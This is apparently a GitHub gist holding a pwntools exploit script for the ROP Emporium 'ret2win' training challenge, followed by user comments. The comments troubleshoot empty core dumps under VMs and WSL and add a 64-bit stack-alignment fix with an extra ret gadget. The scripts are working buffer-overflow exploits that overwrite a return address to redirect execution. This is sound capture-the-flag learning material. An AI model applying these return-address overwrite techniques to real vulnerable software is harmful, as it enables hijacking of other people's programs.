Example Exploit for ROP Emporium's ret2win Challenge Raw

win.py

from pwn import *

# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')

# Enable verbose logging so we can see exactly what is being sent.
context.log_level = 'debug'

# Print out the target address
info("%#x target", elf.symbols.ret2win)

# Figure out how big of an overflow we need by crashing the
# process once.
io = process(elf.path)

# We will send a 'cyclic' pattern which overwrites the return
# address on the stack.  The value 128 is longer than the buffer.
io.sendline(cyclic(128))

# Wait for the process to crash
io.wait()

# Open up the corefile
core = io.corefile

# Print out the address of RSP at the time of crashing
stack = core.rsp
info("%#x stack", stack)

# Read four bytes from RSP, which will be some of our cyclic data.
#
# With this snippet of the pattern, we know the exact offset from
# the beginning of our controlled data to the return address.
pattern = core.read(stack, 4)
info("%r pattern", pattern)

# Craft a new payload which puts the "target" address at the correct offset
payload = fit({
    pattern: elf.symbols.ret2win
})

# Send the payload to a new copy of the process
io = process(elf.path)
io.sendline(payload)
io.recvuntil("Here's your flag:")

# Get our flag!
flag = io.recvline()
success(flag)

I'm getting empty coredumps 😕 great tutorial just not sure why I can't get this to work

root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat pwntools-exploit.py 
#!/usr/bin/env python

from pwn import *

# Prepare the binary
context.update(binary='ret2win32', log_level='info')
ret2win_binary = ELF('ret2win32')

# Find our return address
info('locating ret2win address')
ret2win_addr = ret2win_binary.functions.ret2win.address
info('ret2win function address at {a}'.format(a=hex(ret2win_addr)))
eip_addr = p32(ret2win_addr)

# Create our crash buffer
info('locating EIP offset, so we can gain control of execution')
buf = cyclic(128)

# Start the elf, and wait for it to be ready for input
p = process(ret2win_binary.path)
p.sendline(buf)
# Wait for the crash to occur
p.wait()

info('Crash occurred, searching coredump for information')
core = Coredump('./core')
eip_value = core.eip
eip_offset = cyclic_find(eip_value)
info('located EIP offset at {a}'.format(a=eip_offset))
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# python pwntools-exploit.py 
[*] '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] locating ret2win address
[*] ret2win function address at 0x8048659
[*] locating EIP offset, so we can gain control of execution
[+] Starting local process '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32': pid 5147
[*] Process '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32' stopped with exit code -11 (SIGSEGV) (pid 5147)
[*] Crash occurred, searching coredump for information
Traceback (most recent call last):
  File "pwntools-exploit.py", line 26, in <module>
    core = Coredump('./core')
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/elf/corefile.py", line 524, in __init__
    super(Corefile, self).__init__(*a, **kw)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/elf/elf.py", line 200, in __init__
    self.mmap = mmap.mmap(self.file.fileno(), 0, access=mmap.ACCESS_COPY)
ValueError: cannot mmap an empty file
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat core
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# 

D'oh. For anyone who experiences this, check first /proc/sys/kernel/core_pattern and make sure you aren't piping it somewhere and make sure you aren't in a shared folder within a VM. They are not writable when the core dumb occurs for some reason.

D'oh. For anyone who experiences this, check first /proc/sys/kernel/core_pattern and make sure you aren't piping it somewhere and make sure you aren't in a shared folder within a VM. They are not writable when the core dumb occurs for some reason.

Although my issue was kind of different your comment gave me a better perspective.

Problem

I got stuck trying to find the reason for not having a /proc/sys/kernel/core_pattern available. As I was running through the Windows Subsystem for Linux (Ubuntu 20.04) I had a feeling the VM instance was not writing the core dumps properly.

The first issue was that I got empty output from dmesg -t (I kind of ignored that part). And then when I tried using the Python script above I got No such file or directory from:

core = io.corefile

Solution

A bit of background here:

• microsoft/WSL#1262

The solution was to run my Windows Subsystem for Linux as WSL 2 instead of 1 and then restart my WSL instance:

• https://docs.microsoft.com/en-us/windows/wsl/install-win10#set-your-distribution-version-to-wsl-1-or-wsl-2

I put the following into PowerShell based on the link above:

> wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-20.04    Running         1

> wsl --set-version Ubuntu-20.04 2

> wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-20.04    Stopped         2

And now core_pattern was available in the Ubuntu shell:

$ ll /proc/sys/kernel/core_pattern
-rw-r--r-- 1 root root 0 Jul  2 14:17 /proc/sys/kernel/core_pattern

And I could get output from dmesg -t:

$ dmesg -t
ret2win[316]: segfault at a5858585858 ip 00000a5858585858 sp 00007ffca7a45280 error 14 in libc-2.31.so[7fb8985d5000+25000]

Align the stack with an extra ret gadget:

offset = cyclic_find(pattern)
payload = flat(
    b"A" * offset,
    p64(0x400755), # `pwnme`'s ret `0x0000000000400755 <+109>:   ret`
    p64(elf.symbols.ret2win),
)

@wulfgarpro

Thanks! This was the fix to my payload. Why does the stack get misaligned? This was not an issue with x86 binary

@wulfgarpro

Thanks! This was the fix to my payload. Why does the stack get misaligned? This was not an issue with x86 binary

See, https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul.

Namely,

This includes using movaps for 16-byte loads/stores to copy stuff around on the stack, taking advantage of the incoming alignment guarantee.